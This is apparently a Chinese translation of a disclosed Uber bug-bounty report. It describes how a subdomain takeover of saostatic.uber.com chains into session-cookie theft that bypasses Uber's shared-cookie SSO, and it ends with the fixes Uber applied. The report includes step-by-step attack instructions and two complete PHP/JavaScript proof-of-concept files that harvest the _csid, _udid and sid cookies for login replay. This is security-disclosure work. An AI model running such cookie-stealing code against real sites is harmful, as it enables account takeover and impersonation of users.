Uber的saostatic.uber.com節(jié)點(diǎn)存在安全漏洞,攻擊者可以利用該漏洞通過Amazon CloudFront CDN實(shí)現(xiàn)子域名接管。除此之外,Uber近期在auth.uber.com部署的單點(diǎn)登錄(SSO)系統(tǒng)中也存在安全問題。這種SSO系統(tǒng)可以通過在所有*.uber.com子域名之間共享cookie來實(shí)現(xiàn)單點(diǎn)登錄,但其中存在的安全問題將允許攻擊者通過任意一個被入侵的*.uber.com子域名來竊取會話cookie。因此,之前的子域名接管問題將會提升為Uber SSO系統(tǒng)的身份認(rèn)證繞過問題。目前,Uber已經(jīng)修復(fù)了這個子域名接管漏洞,并且專門為這兩個安全問題提供了5000美金的漏洞獎金。
單點(diǎn)登錄系統(tǒng)(SSO)的安全問題
一般來說,單點(diǎn)登錄系統(tǒng)主要有以下三種類型:
1. OAuth:認(rèn)證的安全性主要是通過在白名單中設(shè)置服務(wù)提供者的URL回調(diào)地址實(shí)現(xiàn)的,其中CSRF保護(hù)是通過“state”參數(shù)實(shí)現(xiàn)的,可能存在的漏洞一般是開放重定向鏈。【案例】
2. SAML&Friends:安全性是基于XML信息加密實(shí)現(xiàn)的,加密使用的是服務(wù)與識別提供商之間預(yù)交換的加密密鑰,可能存在的漏洞一般是XML簽名繞過。【案例】
3. 子域名之間共享會話cookie:這類SSO系統(tǒng)的安全性取決于所有子域名的整體安全性。任何一個子域名中如果存在漏洞的話,攻擊者將有可能竊取到SSO系統(tǒng)的共享會話cookie,可能存在的漏洞一般是遠(yuǎn)程代碼執(zhí)行漏洞、調(diào)式日志泄露和子域名接管等等。【案例】
我個人認(rèn)為,前兩種單點(diǎn)登錄系統(tǒng)以前確實(shí)存在很多安全問題,但現(xiàn)在這兩類系統(tǒng)的安全性都已經(jīng)得到了很大程度的提升。相比來說,第三種SSO系統(tǒng)出現(xiàn)得比前兩種都要早。從設(shè)計(jì)角度來看,任何需要利用SSO系統(tǒng)完成認(rèn)證的節(jié)點(diǎn)都必須是同一個頂級域名下的子域名,由于這種SSO系統(tǒng)的安全性取決于所有子域名的整體安全性,所以這類SSO系統(tǒng)的攻擊面也非常廣。
Uber案例
在此之前,Uber使用的是OAuth來作為*.uber.com子域名的SSO系統(tǒng),但近期他們將*.uber.com子域名的SSO系統(tǒng)換成了基于共享會話cookie的SSO系統(tǒng)。如果你現(xiàn)在訪問任何一個需要進(jìn)行身份驗(yàn)證的uber.com子域名的話,你都會被重定向到auth.uber.com。當(dāng)你在這個節(jié)點(diǎn)完成登錄之后再訪問其他子域名的話,你相當(dāng)于通過SSO系統(tǒng)登陸了auth.uber.com,因?yàn)楫?dāng)用戶登錄了一次之后,SSO系統(tǒng)便會為每一個*.uber.com子域名發(fā)送臨時會話cookie。
但是研究人員在Uber的這個SSO系統(tǒng)中發(fā)現(xiàn)了一個安全漏洞,當(dāng)目標(biāo)用戶在SSO系統(tǒng)中完成了身份驗(yàn)證之后,該漏洞將允許攻擊者竊取auth.uber.com發(fā)送給任意uber.com子域名的有效會話cookie。不過Uber也采取了一些措施來防止這種事情的發(fā)生,但這些措施都可以被繞過。再加上研究人員報告的子域名接管漏洞,這將意味著任何被入侵的*.uber.com子域名都可以用來執(zhí)行這種SSO認(rèn)證繞過攻擊。
子域名接管
子域名saostatic.uber.com指向的是Amazon Cloudfront CDN(通過DNS CNAME記錄),但是主機(jī)名并沒有進(jìn)行過注冊,這也就意味著我可以完全接管這個域名。在進(jìn)行了一番探索之后,我成功接管了Uber的一個子域名,并上傳了一個簡單的HTML頁面來作為PoC:

認(rèn)證繞過
在Uber的SSO系統(tǒng)中,auth.uber.com作為一個身份提供者給https://*.uber.com提供臨時共享會話cookie,并與服務(wù)提供者(例如riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com和developer.uber.com等等)進(jìn)行身份信息的驗(yàn)證。服務(wù)提供者在自己的節(jié)點(diǎn)中立刻清除傳入的臨時共享會話cookie來降低cookie被竊取的可能性。下圖顯示的是Uber SSO系統(tǒng)的用戶登錄流程:

因此,共享會話cookie“_csid”只能在第九步至第十二步之間被竊取,而這是一個間隔非常短的時間周期,雖然這并非不能實(shí)現(xiàn),但我們還發(fā)現(xiàn)了另一種更加容易利用的漏洞。在這個漏洞的幫助下,我們可以讓共享會話cookie在第十二步之后仍然保存在瀏覽器的cookie記錄中。問題就在于,如果目標(biāo)用戶已經(jīng)在https://riders.uber.com節(jié)點(diǎn)完成了登錄,那么此時當(dāng)這個用戶又接收到了一個從auth.uber.com發(fā)來的新生成的有效共享會話cookie“_csid”時,這個新的cookie將會被忽略,并且仍保持有效。由于在瀏覽器清除保存的cookie內(nèi)容之前,這個被忽略的cookie將一直有效,因此攻擊者就可以通過重放上圖的第三步并在第十三步的請求中添加一個指向https://saostatic.uber.com的隱藏請求,他們就可以竊取到寶貴的會話cookie了:

當(dāng)攻擊者得到了目標(biāo)用戶的共享會話cookie“_csid”(例如https://riders.uber.com的cookie)之后,攻擊者就可以在他們自己的瀏覽器中完成正常的登錄流程,即替換上圖中第九步的“_csid” cookie值并冒充用戶進(jìn)行登錄。不過別著急,這只是理想狀態(tài),因?yàn)閁ber在這里還采取了一種名叫登錄跨站請求偽造保護(hù)的應(yīng)對措施。下面給出的是更新后的Uber SSO登錄流程:

問題就在于這里的GET參數(shù)state=CSRFTOKEN,而狀態(tài)cookie是服務(wù)提供者h(yuǎn)ttps://riders.uber.com在第三步中添加的,并在第十一步進(jìn)行驗(yàn)證。由于我們無法從目標(biāo)用戶的瀏覽器中竊取這些cookie值,但我們的目標(biāo)又是共享會話cookie“_csid”,那這是否就意味著Game Over了呢?
當(dāng)然不是!因?yàn)楣粽呖梢酝ㄟ^正常的登錄操作從https://riders.uber.com獲取到正確的CSRFTOKEN值(state cookie),那么攻擊者就能夠在自己的瀏覽器中將https://riders.uber.com在第三步生成的auth.uber.com URL鏈接轉(zhuǎn)發(fā)至目標(biāo)用戶的流啊理念其中,然后生成并竊取共享會話cookie “_csid”,最后按照第九步的操作將這些竊取來的值注入到自己瀏覽器的登錄場景中。通過這種方法,目標(biāo)用戶將會生成臨時會話令牌"_csid",而攻擊者就可以在另一個瀏覽器中利用這個token。攻擊的實(shí)現(xiàn)過程如下圖所示:
PoC
再多的流程圖也比不過一個PoC來得清楚。
攻擊演示流程:
1. 打開目標(biāo)用戶的瀏覽器,訪問https://riders.uber.com。在被重定向到了https://auth.uber.com之后,使用用戶的憑證完成登錄,最終重新回到https://riders.uber.com儀表盤。
2. 在目標(biāo)用戶的瀏覽器中打開另一個網(wǎng)頁標(biāo)簽,訪問https://saostatic.uber.com/prepareuberattack.php。無論彈出什么對話框,都點(diǎn)擊“接受”,頁面完成加載之后,你就可以看到底部會出現(xiàn)一個URL、“Cookie:”和“Set-Cookie:”,這便是我們自動竊取來的所有登錄信息。
3. 打開攻擊者的瀏覽器,然后設(shè)置一個攔截代理來攔截請求和響應(yīng)信息。訪問prepareuberattack.php頁面輸出的URL鏈接,然后攔截請求。最后,將prepareuberattack.php頁面中顯示的“Cookie:”信息拷貝到請求頭中。
4. 響應(yīng)信息應(yīng)該是指向https://riders.uber.com/trips的重定向鏈接,這表明我們成功繞過了Uber的身份認(rèn)證。接下來,在響應(yīng)信息到達(dá)瀏覽器之前將“Set-Cookie:”所有的內(nèi)容拷貝到響應(yīng)信息中,這樣將保證竊取來的cookie永久注入到了攻擊者的瀏覽器中。
5. 現(xiàn)在,攻擊者就已經(jīng)在自己的瀏覽器中以目標(biāo)用戶的身份完成了登錄。
攻擊演示視頻如下:
視頻地址: https://youtu.be/0LoQ1rZfyP4
在真實(shí)的攻擊場景中,攻擊者可以在目標(biāo)用戶的瀏覽器中(例如通過iframe)悄悄加載https://saostatic.uber.com/prepareuberattack.php。攻擊者可以直接將竊取來的cookie信息保存在服務(wù)器端,而無須顯示在prepareuberattack.php頁面中。下面給出的是頁面https://saostatic.uber.com/prepareuberattack.php和頁面https://saostatic.uber.com/uberattack.php的代碼。雖然代碼寫的不是很好,但它的功能是沒問題的:
prepareuberattack.php
function HandleHeaderLine( $curl, $header_line ) {
preg_match("/state=([^;]*);/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var cookiestate = '" . $matches[1] . "';\n");
}
preg_match("/Location: (.*)/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var loc = '" . trim($matches[1]) . "';\n");
}
return strlen($header_line);
}
$c = curl_init('https://riders.uber.com');
curl_setopt($c, CURLOPT_VERBOSE, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
var iframe = document.createElement("iframe");
iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
iframe.setAttribute("width", "100%");
iframe.setAttribute("height", "10000");
document.body.appendChild(iframe);
}
img.src=loc;
uberattack.php
$cookiestring = "state=" . $_GET["cookiestate"] . "; ";
$interestincookies = array("_udid", "_csid", "sid");
foreach ($_COOKIE as $name => $value) {
if (in_array($name,$interestincookies)) {
$cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; ";
$cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";";
}
}
print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "";
print "Cookie: " . $cookiestring . "";
print "" . $cookiestringset . "";
?>
第一個文件可以托管在任何地方,第二個文件必須托管在劫持的子域名中。我們可以將這兩份PHP文件中的“riders.uber.com”改為其他的Uber子域名,例如vault.uber.com、partners.uber.com和developer.uber.com。
修復(fù)建議
我們提供給Uber的建議主要有以下兩個方面:
1. 通過移除指向AWS CloudFront CDN的無效CNAME記錄來解決saostatic.uber.com的子域名接管問題。
2. 通過以下幾種方法解決身份認(rèn)證繞過問題:
a) 將SSO系統(tǒng)恢復(fù)為使用OAuth 2協(xié)議;
b) 引入IP地址檢測機(jī)制;
c) 將所有的*.uber.com子域名加入Uber的漏洞獎勵計(jì)劃范疇;
最終,Uber移除了不安全的CNAME記錄,并通過引入IP地址檢測機(jī)制來降低了Uber SSO系統(tǒng)的攻擊面。
|